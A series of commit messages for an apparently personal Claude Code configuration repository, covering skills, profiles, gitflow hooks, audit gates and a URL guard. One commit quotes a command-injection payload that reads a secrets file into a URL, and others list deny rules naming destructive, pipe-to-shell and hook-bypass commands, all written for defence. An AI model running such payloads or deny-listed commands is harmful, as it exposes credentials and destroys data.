plugins.lock.json gains a superpowers entry (obra/superpowers @ 5bf4e78,
path skills, per-skill file lists, always_on) that lib/vendor-skills.sh
fetches byte-for-byte: brainstorming, writing-plans,
subagent-driven-development, test-driven-development,
requesting-code-review, using-git-worktrees, writing-skills. install-plugins
STEP 8e vendors it, update-all refreshes it at the pin, link.sh links the
seven, .gitignore ignores them. The plugin is no longer installed or
protected: its 8 other skills duplicated personal flows and its
SessionStart injection cost ~900 tokens per start, clear and compact.
detect_superpowers is one file test on the linked skill; doctor and
session-start stop charging the injection. doctor-vendored gains an
always_on class (third lock column) so always-on externals are
link-checked instead of reported parked.
The design gate checked the 21st CLI with command -v only, so an
installed-but-signed-out CLI read as READY and every 21st step failed
downstream. tool_active now probes 21st whoami through a three-state
function: signed in (TWENTYFIRST_TOKEN or API_KEY_21ST set, or 'Logged in
as'), signed out (exact 'Not logged in'), unknown (rc != 0, timeout,
unexpected output). Signed out is a new verdict, SIGN-IN REQUIRED, exit
12: design-gate.md tells the orchestrator to ask the user to run
! 21st login, end the turn, re-run the gate on their reply, and to skip
21st only on an explicit 'proceed without 21st', never silently. Unknown
surfaces as exit 11 with the whoami diagnostic and a CLI-runtime remedy,
so a node/PATH failure can never loop on a sign-in prompt. INCOMPLETE
still wins. Hermetic suite lib/tests/design-tool-gate.test.sh (stub CLI,
fixture repo through DESIGN_GATE_REPO_OVERRIDE) covers every state.
gstack skills hardcode ~/.claude/skills/gstack/<path> for 83 shared assets
(bin, scripts/jargon-list.json, ETHOS.md, */sections, review/specialists,
make-pdf/dist, lib/diagram-render/dist, freeze/bin...) but only bin and
browse/dist were linked: make-pdf and diagram failed on every run, cso and
plan-*-review could not read their sections, the freeze hook exited 127.
lib/gstack-links.sh links every top-level entry except SKILL.md, skips
non-skill dirs holding a nested SKILL.md (browser-skills, openclaw,
node_modules), removes the global symlink gstack ./setup plants and refuses
a destination inside the submodule. link.sh, install-plugins.sh and
update-all.sh all call it (three hand-copied blocks gone).
doctor.sh counted 34 skills (find without -L) and zero chars for block
scalar descriptions; lib/doctor-skills.sh reuses the census parser and
counts through the symlinks. Plugin constants re-based on measured values;
install-plugins.sh notes why frontend-design@claude-plugins-official and
brightdata-plugin@synced stay off and describes security-guidance truthfully.
Nine gstack skills leave every profile (ship is trunk-based on Gitea,
land-and-deploy auto-merges and deploys, setup-deploy, autoplan reads
paths that do not exist here, context-save has no restore, learn is an
unused parallel store, careful and guard hooks never fired, design-shotgun
needs an absent OpenAI key). lib/gstack-removed.sh is the single denylist;
profile.sh gstack on and toggle-external.sh enable gstack skip it.
full now carries everything every other profile carries (user rule), minus
the parked make-pdf, diagram and 21st-ai/ui-explore/ui-review, which live
in the new max profile together with pr-review-toolkit. The 21st trio also
leaves web, web-full and design (redundant with impeccable + ui-ux-pro-max).
lib/tests/profile-census.test.sh asserts the invariants live and on a
baseline fixture plus one mutant per invariant; gstack-removed.test.sh
covers both restore paths.
lib/doctor-vendored.sh check_vendored_skills: every curl-pinned lock entry
has its files under skills-external/ (list, dict, single-path shapes),
every link.sh EXTERNAL_SKILLS name is symlinked into ~/.claude/skills when
the active profile lists it, parked names reported not failed, hints make
plugin / make link. Lock shape-validated (warn, never a traceback), profile
and item names allowlisted before becoming paths. Suite: 11 cases.
Two security-gate LOW notes closed on user ask: the SAFE guard uses
re.fullmatch so a trailing newline is rejected; commit (40 hex), source
(github.com owner/repo) and path (SAFE class, no traversal) are validated
before any URL is built, INVALID marker names the field. Suite 12 cases.
lib/vendor-skills.sh: vendor_pinned_skills <lock-key> [refresh], list or
dict lock shapes, lock read via python argv, traversal and charset guard
on lock values, VENDOR_BASE_URL honoured only as file:// (hermetic suite),
per-file tmp+mv, refresh skips a skill never installed. install-plugins.sh
Step 8e and update-all.sh 7.3 call it for agent-skills and mengto-skills.
Vendored at a965851: scroll-world-storytelling, build-threejs-scroll-worlds
(+5 references), scroll-scrubbed-visual-sequence, scroll-scrubbed-word-
reveal, scroll-progress-timeline; text files only. Registered in link.sh,
.gitignore, toggle-external, profile.sh and the design/web/web-full/full
profiles, which also list site-motion (personal). Suite: 8 cases.
Top 10 description pairs, WARN >= 0.50, FAIL >= 0.75, fixture flip-test
with a positive control and a sensitivity re-run (2-doc corpora are
degenerate, LRN-172). Baseline 2026-09-27: 120 skills, max 0.52
(careful ~ guard). Adapted from agent-skills evals Tier 2.
observability-and-instrumentation, deprecation-and-migration,
ci-cd-and-automation from addyosmani/agent-skills 2686b620, curl'd into
skills-external/<name>/ by install-plugins.sh Step 8e (tmp+mv), refreshed
by update-all.sh 7.3, symlinked by link.sh, registered in toggle-external,
profile.sh and the full/backend/dev profiles. Pin read from the lock via
argv, never hardcoded. Case 2 of the 6-repo review, BDR-102.
No profile selected (.active-profile absent, empty or legacy "none") now
means the `full` profile is in force: DEFAULT_PROFILE declared once in
lib/profile.sh, resolved by active_profile(); the statusline reads the
constant and shows `full` instead of `?`; `gstack off` trims to it instead
of erroring. `reset` goes to the default profile (= `set full`: enables its
list, parks any non-listed gstack or managed item). `current` names the
active label and scores that profile only, saying `default — not applied
yet` until a set/apply/reset wrote the cache; the "none" sentinel and the
cross-profile best-guess scan are gone (they keyed on the parked-gstack
count, which says nothing under BDR-030's gstack-off default). Hermetic
suite lib/tests/profile-default.test.sh (29 checks) seeds gstack as OFF like
a real tree. Citers updated: profile SKILL, Makefile help, plugin-advisor
PROFILE line + reset paragraph, toggle-external header.
The magic MCP wiring left with BDR-093; this removes the prose that still
described it: gitleaks allowlist note, Step 8.7 header, plugins.lock note,
profile.sh comments and the usage() NOTE that still claimed `set` toggles
"the magic MCP", the managed-set test header, README (one history sentence
kept; MCP-era risk paragraph and the retired bashrc wrapper claim dropped).
.env.example carries the same scrub in the working tree; staging it is
denied to the agent (`git add .env*`), the user stages it.
Root causes of the 2026-09-24 errors turned into mechanisms (BDR-100). hard_deny 'Routing around a guardrail': a refused command is never rerun through a wrapper, alias, heredoc, Makefile target, env file, other shell or other agent; the same clause in 14 agents and in the doctrine's sub-agent rule. make test suite=<file> runs one suite hermetically so the denied env-prefix form is never needed by hand. lib/tests/doctrine-citers.test.sh: every CLAUDE.md "Section" / § Label citation across skills, agents, lib, rules and hooks must resolve to a heading or bold label (flip-tested); its first run fixed rest-api-node.md. Doctrine 'After code changes' step 4: a changed rule, heading, label or threshold → grep every citer in the same commit.
lib/graphify-gate.sh counts tracked code files (graphify's AST extension set, vendored trees excluded) and, from 200 with no graphify-out/graph.json, prints one banner-sized line; session-start shows it with the /graphify hint. Nothing is built, installed or updated: the rule is the user's (BDR-097), grounded in the LRN-162 measurements (AST build 2.3 s, 0 tokens, a query 2 to 3k tokens). Doctrine section and plugin-advisor thresholds follow the same rule; graphify claude install stays rejected. Test: 11 checks. GRAPHIFY_MIN_CODE_FILES overrides the threshold.
Since BDR-095 `start` sets an auto-pushed upstream, so `git branch -d`
checked "merged into origin/<branch>" (always true, the post-commit hook
keeps it in sync) instead of "merged into develop". T22a proves it: an
unmerged feature with its upstream in sync is deleted by `-d` alone.
- `gitflow_delete` is the single delete path (finish + CLI `delete`):
refuses main/develop (rc 6) and any branch that is not an ancestor of
develop or main (rc 5, `gitflow_merged_into_base`, fail closed when
neither base exists), then `-d` as a second layer. CLI `merged`, `hooks`.
- Fourth generated hook `reference-transaction`: in the `prepared` call,
a deletion of refs/heads/main or refs/heads/develop exits 1, whatever
issued it (branch -d/-D, update-ref -d, rename, script, sub-agent).
`git config gitflow.protect false` opts a foreign clone out.
- `GITFLOW_HOOKS` is the one hook list: write/emit/reconcile, T19d and
doctor.sh (`gitflow.sh hooks`) read it. `.githooks/` and `githooks/`
regenerated with the fourth hook.
- settings.json: static deny on hand `git branch -d/--delete/-dr/-rd` and
on renames of main/develop; hard_deny "Branch deletion by hand"; the
Disarming entry covers all four hooks and `gitflow.*` config; the
protected-branches environment line states the rule.
- Doctrine (CLAUDE.global.md gitflow section), gitflow SKILL (`delete`
op, rc 5/6 rows, common mistake), guard-bash spec T8w flips to deny,
SETTINGS.md, README, CHANGELOG.
- Tests: T22 (12) lib guard incl. the premise proof, T23 (11) hook;
T19 covers the fourth hook. 152/154, the 2 failures are the
pre-existing T16a (gitleaks absent on this host).
Global: `make link` generates githooks/ from lib/gitflow.sh and sets git's
global core.hooksPath to ~/.claude/githooks, so every repo on the machine
runs the pre-commit protection and the post-commit / post-merge push, even
one that never ran gitflow init. A repo's own local core.hooksPath still
wins, so hooks/session-start.sh calls `gitflow reconcile-hooks` once per
session and rewrites a .githooks/ that lags the lib (LRN-114 automated);
the pre-commit exemption now covers .githooks/** next to .claude/**.
Per-repo opt-outs for a foreign clone: `git config gitflow.protect false`
(branch model) and `git config gitflow.autopush false` (push). Both, and
the GIT_CONFIG_GLOBAL= / GIT_CONFIG= env bypass, are static deny rules.
`make test` and the two suites that commit on main export
GIT_CONFIG_GLOBAL=/dev/null so the machine's global hooks never fire in
throwaway repos. doctor gains "Git hooks" (global setting, githooks/ equal
to the emitters) and "Scratchpad" (warn when TMPDIR sits on a tmpfs with
usrquota: systemd caps each user at 80% of it, which killed two shells
today, BLK-021). Tests: T18h, T19d, T20 (reconcile), T21 (whitelist and
protect opt-out); this repo's own stale .githooks/ refreshed.
Layer C of the plan written after the 2026-09-21 wipe (BDR-095): a reviewer
sub-agent traced `lftp mirror --delete` against a local file:// tree, the
prose tiers named neither lftp nor a local trace, the brief had authorized
it, and four days of commits had never left the machine.
- gitflow: `start` pushes the branch with its upstream, merge targets are
pushed after each merge, and `init`/`install-hook` write post-commit and
post-merge hooks that push every commit as it lands (warn, never block;
GITFLOW_NO_PUSH=1 for throwaway repos). T18 + T19 (installed == emitted).
- hooks/unpushed-guard.sh on SessionStart and Stop: branch ahead of its
upstream, no upstream, or no origin. Non-blocking systemMessage.
- settings.json: static deny for transfer and mirror tools, rsync --delete,
xargs rm, pipe-to-shell, chmod/chown -R, sudo/doas/pkexec, disk tools,
chattr, docker volume drops/prune/--privileged/socket/-v /:, git history
destruction, --no-verify and core.hooksPath; new hard_deny "destructive
tool against a local path, brief carries no user authority"; soft_deny
reworded + discarding uncommitted work; environment records the incident.
- CLAUDE.global.md "Destructive tools & data loss"; the four report-only
agents trace by reading, never by running, whatever the brief says.
- lib/tests/guard-bash.test.sh: executable spec of the PreToolUse guard
(214 cases). The hook itself is not shipped (BLK-022); the spec skips.
Upstream supersedes `@21st-dev/magic` with `@21st-dev/cli` (bin `21st`):
same endpoint, `21st login` in place of an API key, no MCP process loaded
into every session.
- install-plugins.sh Step 8.7: `npm i -g @21st-dev/cli` (pinned in
plugins.lock.json), staged `21st skills install`, TTY-only login offer,
pack disabled by default. update-all.sh 7.4 refreshes both.
- The documented `21st install-skill` cannot be used: the installer refuses
to follow a symlink on the target path and `~/.claude/skills` is one. The
install runs under a throwaway HOME and the result moves into
skills-external/21st-* (gitignored), symlinked on demand.
- toggle-external.sh manages `21st` as a pack (names globbed from
skills-external/21st-*, parked under plain names). `magic` is gone.
- The 5 design skills join design/web/web-full/full and MANAGED_EXTERNALS;
21st-registry and 21st-design-sync stay parked. MANAGED_MCPS is now empty
and profile.sh's dead magic branches are removed.
- Design gate: GATE-BLOCK gains `21st` (required-manual, magic's old slot)
and `21st-ui-build`; PATH repair extended to the npm global bin.
- settings.json: the 4 mcp__magic__* ask entries go; the outward-facing
21st verbs land in autoMode.soft_deny, the tier that holds under auto
mode (LRN-153).
- Docs: README, CLAUDE.global.md, design-gate.md, profile SKILL.md,
.env.example, .gitleaks.toml, link.sh. BDR-093, LRN-158.
Tests: profile-set-managed 17/17, make test green except 2 pre-existing
gitflow FAILs (gitleaks binary absent on this host), shellcheck clean.
Extract gstack_bump_playwright_if_unsupported from install-plugins.sh into
lib/gstack-playwright.sh and call it from update-all.sh too. A submodule
update no longer leaves the OS-support bump unapplied until the next
`make plugin` — that was BDR-029's open caveat.
The update helper never touches the submodule working tree: on failure it
prints git's own message and points at `make plugin`, and returns non-zero
so the existing `else warn` arm still handles it.
Add a read-only `Playwright browsers` section to doctor.sh: cache size,
which registered install requires each revision, and counts of unreferenced
directories and broken links. No pruning is written — Playwright's own
`install` already unions the required set across every registered install,
and all three installs here are live (rev 1228 for gstack + gsd-pi 1.61,
rev 1243 for gsd-pi 1.63).
Carries two latent-bug fixes from the moved code: the ostag capture exited
1 on every non-Ubuntu host and aborted the caller under inherited errexit,
and the bun calls had no timeout.
Two or more project paths dispatch one general-purpose runner per repo,
all in a single message, instead of processing repos one by one. The
runner inherits the session model — no pin, it carries tour's reflection
(fix decisions, convergence) — and every agent inside keeps its defined
tier (security-auditor sonnet, Phase B opus, doc-syncer sonnet). A dead
or mute runner becomes an explicit RUNNER FAILED summary row; the gated
capitalize offer stays in the main loop, never in a runner.
Bounded LRN-083 derogation recorded in BDR-084: the per-project fix loop
moves into its runner, but nothing a runner decides touches shared state
— independent repos, per-repo chore branches, branches left unmerged for
human review exactly as inline. Mechanics proven before building: nested
probe, 3 sub-agent windows all overlapping, 9.1s vs ~18s sequential.
Census §12: 6 locks, flip-tested. Single-project path unchanged.
The include is authoritative, but feat/bugfix/ship-feature/init-project
each restate the verify loop inline — an orchestrator following the
restatement alone would have skipped the floor. Each now carries the
GATE 0 bullet ahead of GATE 1 (4 new structure locks, flip-tested).
The contract-interview weight table stops promising a hotfix oracle
nothing executes: hotfix runs no floor, the hotfixer runs the suite
itself. CHANGELOG extended with the wiring + the RED result.
GATE 1 is an LLM dispatch and the verifier's mandatory PROOF: line is a line
the verifier writes — nothing structurally stops it being produced without
anything being executed. Nothing deterministic sat between the executor and
that dispatch.
An acceptance criterion can now carry an oracle: indented CHECK: (command),
EXPECT: (success-only marker), EVIDENCE: (slot). lib/gates.sh runs them
fail-closed — MET requires exit 0 AND the marker, so a nonzero process never
passes on its error text carrying the token — and writes the outcome back
into the contract, so the fresh verifier reads evidence as fact rather than
trusting the executor's report.
GATE 0 runs that floor before any verifier is dispatched; a red build sends
the executor back for free, on its own iteration budget. ABANDON: <id>
<reason> turns an impossible criterion into a visible handoff that blocks
CONFORME and routes to the human gate, via the new ABANDONED(n) verdict —
a distinct token because it routes distinctly, never a dev loop. feater and
bugfixer gain a four-pass completion discipline, scoped so a pass can never
widen the contract.
The runner's parse fails closed on partial oracles, duplicate ids,
unindented attributes and runnable criteria with no EVIDENCE: line, and
executes nothing at all when the ledger is malformed. status never executes
and never writes; run always re-executes, since trusting written evidence is
the failure being closed.
Adapted from the unlazy skill (Leonxlnx/unlazy, MIT). Its Stop hook,
approval store, .unlazy/ tree, depth-tree arithmetic and Node checker were
deliberately refused — BDR-083 records each reason.
64 assertions in lib/tests/gates.test.sh, non-execution proved by sentinel
with its own positive control asserted first.
Opus 5 follows conservative-reporting clauses literally; 'a manufactured
concern is a failure' risked suppressing real low-confidence findings.
In-place reword: ungrounded stays noise, grounded-but-uncertain files as
[MINOR] with the uncertainty in WHY:. OUTPUT grammar byte-identical;
census row added.
3rd tightening pass (series LRN-1005/1007): bare "ux" matched inside
French prose (2 logged FPs, both FR — latest "changement ux vu").
\bui\b kept: zero logged FP, one logged true positive, now locked by a
must-fire test row. Flip-tested: quiet row fired pre-change.
- MANAGED_EXTERNALS (emil-design-eng, frontend-design,
design-motion-principles, impeccable) + MANAGED_MCPS (magic):
cmd_set now trims both when the profile does not list them —
design leftovers no longer survive a 'set backend'
- cmd_set refactored to 4 symmetric trim helpers; nothing outside
the MANAGED_* allowlists is ever auto-toggled (darwin-skill manual)
- enable_skill external: from-source fallback (ln -sf
skills-external/<name>), mirrors toggle-external.sh
- stale usage() NOTE + SKILL.md updated to the both-ways reality
- hermetic test: 16 checks, fixture repo + fake claude shim (gstack
on-demand, from-source, park/restore, magic add/remove, non-managed
untouched); shellcheck + full make test green
Fresh-opus whole-chantier ronde (17fbe51..HEAD, EVAL-023 style): axes
severed-wires / gate-regressions / fail-open PROVEN CLEAN (all 7 new
handoffs traced end-to-end both sides). Fixed: init 5b now dispatches the
FULL-AUDIT path (auto-mode gated a missing README as SIGNIFICANT →
[CREATE-AUTO] unconditional restored, sole greenfield README path);
census locks added for /geo ERROR CONTRACT + never-re-derive (deleting
the fail-closed handler would have stayed green), doc-audit
model=opus override x5 flows, SYNTH REPORT grammar; doc-syncer ex-STEP-8
prose repointed to the dispatcher gate; plugin-advisor anim rows read
the PROBE REPORT ANIM field (no Bash anymore); client-handover 9.7
cleans the transient draft. Census caught one more line-wrapped lock
before it shipped vacuous. 133 pass / 0 fail, make test exit 0.
seo-analyzer + geo-analyzer gain MODE: collect|judge|template around the
dispatcher (mode-based, zero body-text moves — seo-data fetch-wiring
locks survive; opus pin kept = fail-safe direction, a forgotten override
over-tiers but never downgrades judgment). Run-scoped gitignored
signals handoff (.audit/*-signals-<RUNID>.md + COLLECTION COMPLETE
sentinel), judge fails closed on absent/mismatched/unsealed signals.
/seo rewired to 3 phases (domains parallel per phase) + DISPATCHER ERROR
CONTRACT (mute/ERROR judge never carried into templating; retry once,
escalate); /geo same single-domain; legacy no-MODE single-shot kept on
the opus pin for /harden narrow-scope + /onboard report-only. Dropped
/geo's 'ask and I relay' fiction (dispatched agents cannot ask).
In-wave smokes PASSED disk-verified: collect signals+sentinel; judge
ERROR-verdict on wrong RUNID; real judge = honest N/A + deterministic
engine + full scoring grammar; template = complete envelope + verbatim
sentinel + zero re-derivation. Census §18 (125 pass — one vacuous
line-wrapped lock caught by the census itself and fixed), make test
exit 0.
handover-doc-writer: MODE synthesize (model="opus" call-site — STEP
9/10/12 → .audit/handover-draft-<RUNID>.md + DRAFT COMPLETE sentinel) /
MODE render (sonnet pin — STEP 13-16 from the draft, fail-closed on
absent/mismatched RUNID). Mode-based, not a file split: the §9
name+dispatch census locks survive untouched. client-handover-writer 9.6
dispatches twice with the FULL PACKAGE both times (LRN-126) + RUNID mint
+ post-run draft cleanup. In-wave smokes PASSED disk-verified: draft
written+sentinel+gitignored; render BLOCKED on wrong RUNID (no phantom
synthesis); render consumed draft + honored skip-write, report grammar
intact. Census §17 (111 pass), make test exit 0.
Reverses the BDR-066 rejected alternative (opus pins on audit agents):
session default is now Fable, so inherit burned Fable quota on every
dispatched audit/challenge. analyzer, plan-challenger, seo/geo/
validator-analyzer pinned model: opus; onboard's 6 general-purpose
audit dispatches carry model="opus"; tour Phase B repointed.
interviewer + client-handover-writer stay unpinned (inline-load only,
a pin there is inert). settings.json default: claude-fable-5[1m].
Census flipped: model-routing §3 + new §11 (61 pass), loops-light 35,
full make test green.
STEP 1.8 (Option B): skip purely cosmetic fixes (CSS/copy/typo), run the 3-lens
challenge only when the fix touches control flow/behaviour (off-by-one, wrong
operator, behaviour-changing config, execution-altering import); a BLOCKER means
it was never a hotfix -> escalate to /bugfix. 12th orchestrator wired.
- skills/hotfix/SKILL.md — STEP 1.8 guarded challenge
- lib/tests/plan-challenger.test.sh — lock hotfix into the census (43 assertions)
After a plan/reflection is elaborated and before it executes, three fresh blind
sub-agents (correctness / robustness / simplicity) attack it on the big model;
the main loop RE-THINKS every aspect a BLOCKER lands (a named plan change, or
[deferred]) and re-challenges once if the plan materially changed. Advisory into
each skill's existing human gate — the human stays the decider.
- lib/challenge-plan.md — reusable phase: fail-safe (never fail open),
severity-driven (any single-lens BLOCKER = must-address), RE-THINK loop
- agents/plan-challenger.md — challenger role (read-only, big-model per BDR-066)
- lib/tests/plan-challenger.test.sh — 41-assertion structure lock
- wired into 11 orchestrators: ship-feature/init-project/feat/bugfix (build-plan),
onboard/audit-delta/code-clean (proposals), seo/geo/harden/web-validate (fix-bundle)
Hardened by dogfooding: 3 blind challengers reviewed this feature's own v1 plan
and caught 4 BLOCKERs (fail-open, consensus-buries-lone-finding, wrong model
tier vs BDR-066, false on-disk-plan premise) — all fixed here.
Full removal per user request: the PreToolUse hook that blocked model
Edit/Write on quality-gate files (settings.json, gitflow.sh, .githooks,
doctor.sh, hooks, lib/tests, lint configs) plus its one-shot sentinel.
- delete hooks/config-protection.sh
- delete lib/tests/config-protection.test.sh
- deregister the hook from settings.json (rtk-rewrite PreToolUse kept)
- drop the README mention
Residual protection unchanged: gitflow pre-commit guard + Gitea branch
protection still block direct code commits to main/develop.
Surfaced by dogfooding on a real Astro repo instead of reading the spec.
Claude Code installs a shell function routing `grep` to ugrep with
`--ignore-files`, so grep honours .gitignore and never descends into a
gitignored dist/. `find` honours nothing. seo-analyzer uses both.
Measured on zenquality (Astro, dist/ gitignored but built locally),
seo-analyzer.md:497 returned 92 images, 45 of them under dist/ — every asset
listed twice, source and generated copy, byte-identical. Two live
consequences:
- "top 20 by size" was ~10 real images dressed as 20.
- Batch C (`cwebp -q 80 <img> -o <img>.webp`) could target dist/og-image.png;
the .webp lands in dist/ and the `npm run build` the dispatcher runs to
VERIFY the fix erases it. Fix lands, verification passes, nothing survives,
report says applied.
lib/source-scope.sh separates source from build output, framework-aware.
`public/` is deliberately NOT excluded by default: it is Astro/Vite/Next
SOURCE and holds favicon.ico, apple-touch-icon.png and robots.txt — the very
files STEP 4 curls. It is build output only for Hugo/Gatsby, detected from
config (legacy config.toml alone is ambiguous, so it needs archetypes/ too).
Blanket-excluding it would blind the audit to its own resource checks.
findargs emits one token per line and MUST be consumed via a quoted array.
I shipped a flat-string version first and the dogfood caught it: the shell
globs */dist/* against the CWD and passes the matches to find as search
paths, which turned 90 hits into 135 and kept every dist/ file. Both the
header and a functional test now pin that.
Also: no bundle item may target build output, in either agent. That is the
real safety net — even if some future find leaks a dist path, the fix cannot
land there. Fix the source that generates the artifact; if the source cannot
be found, that is a finding, not a reason to patch the artifact.
SCOPE CORRECTION: the proposal claimed grep was auditing 86 generated files
instead of 9 templates. That was FALSE — the ugrep shim already skips them.
Killed my own premise before coding it; the real bug is narrower and lives in
find only. Do NOT "fix" the grep lines to match: they are already correct,
and adding these exclusions there would drop public/.
Verified: 90 -> 45 images on the real repo, 0 dist survivors, public/
preserved (favicon.ico still visible); 34 new assertions PASS / 0 FAIL; full
suite green; shellcheck clean. Test file addition used the documented
one-shot config-edit sentinel.
Prerequisite for C1, which is why this moved up from AXE 5. Today $DOMAIN is
typed by the operator and interpolated into ~10 curls (seo-analyzer.md:254+,
geo-analyzer.md:248+) — self-inflicted risk. The sitemap crawl changes the
threat model completely: URLs then come from the TARGET'S OWN SERVER, so a
remote file's bytes reach a shell.
The severe hazard is injection, not SSRF. Those curls quote with ", inside
which $ and backtick still execute, and ~/.claude/.env holds
GOOGLE_OAUTH_CLIENT_SECRET + CRUX_API_KEY. A <loc> of
`https://x/$(cat ${HOME}/.claude/.env)` reads the vault into a request. The
test suite asserts exactly that payload is refused.
Code, not prose: a markdown instruction does not stop an injection. Mirrors
the house pattern (fetch.sh:25 _label_safe) — whole-string allowlist, C
locale, POSIX case: newline-proof, locale-independent, no grep pitfall.
Allowlist over denylist per CLAUDE.md.
Covers: shell metacharacters; scheme (http/https only — no file:, gopher:);
literal loopback/private/link-local/metadata/.local; userinfo authority
confusion (https://trusted.com@127.0.0.1/ hits .0.0.1, not trusted.com).
NOT covered, stated in the header rather than left silent: DNS-level SSRF. A
public hostname resolving to a private address passes. Closing it needs
resolve-then-pin at the HTTP layer; shell curl cannot without a TOCTOU
window. Proportionate to the threat model — this runs on a workstation
auditing the operator's own client sites.
Wired at all three entry points: both agents' STEP 4 domain assignment, and
the W3 sameAs loop (whose URLs come from the audited repo, not the operator).
Refused sameAs rows report as REFUSED rather than vanish — neither dead nor
live, and an unguardable sameAs is itself a finding.
Note: writing the test file tripped the config-protection hook (test suite is
a guarded quality-gate). Used the documented one-shot sentinel with a reason
rather than working around the gate; it was consumed as designed.
Verified: 47 new assertions PASS / 0 FAIL, picked up by make test; full suite
green; shellcheck clean on lib/url-guard.sh (the sole remaining hit in the
health-stack glob is pre-existing, lib/gitflow-test.sh:242); guard dogfooded
against the real zenquality.fr domain (accepted) and the real exfil payload
(refused, exit 2).
Reroute hotfix's deeper-bug escalation to the /bugfix skill (bugfixer is now a
pure executor, not loadable standalone). loops-light locks repointed to the
bugfix orchestrator + bugfixer-executor shape.
bastien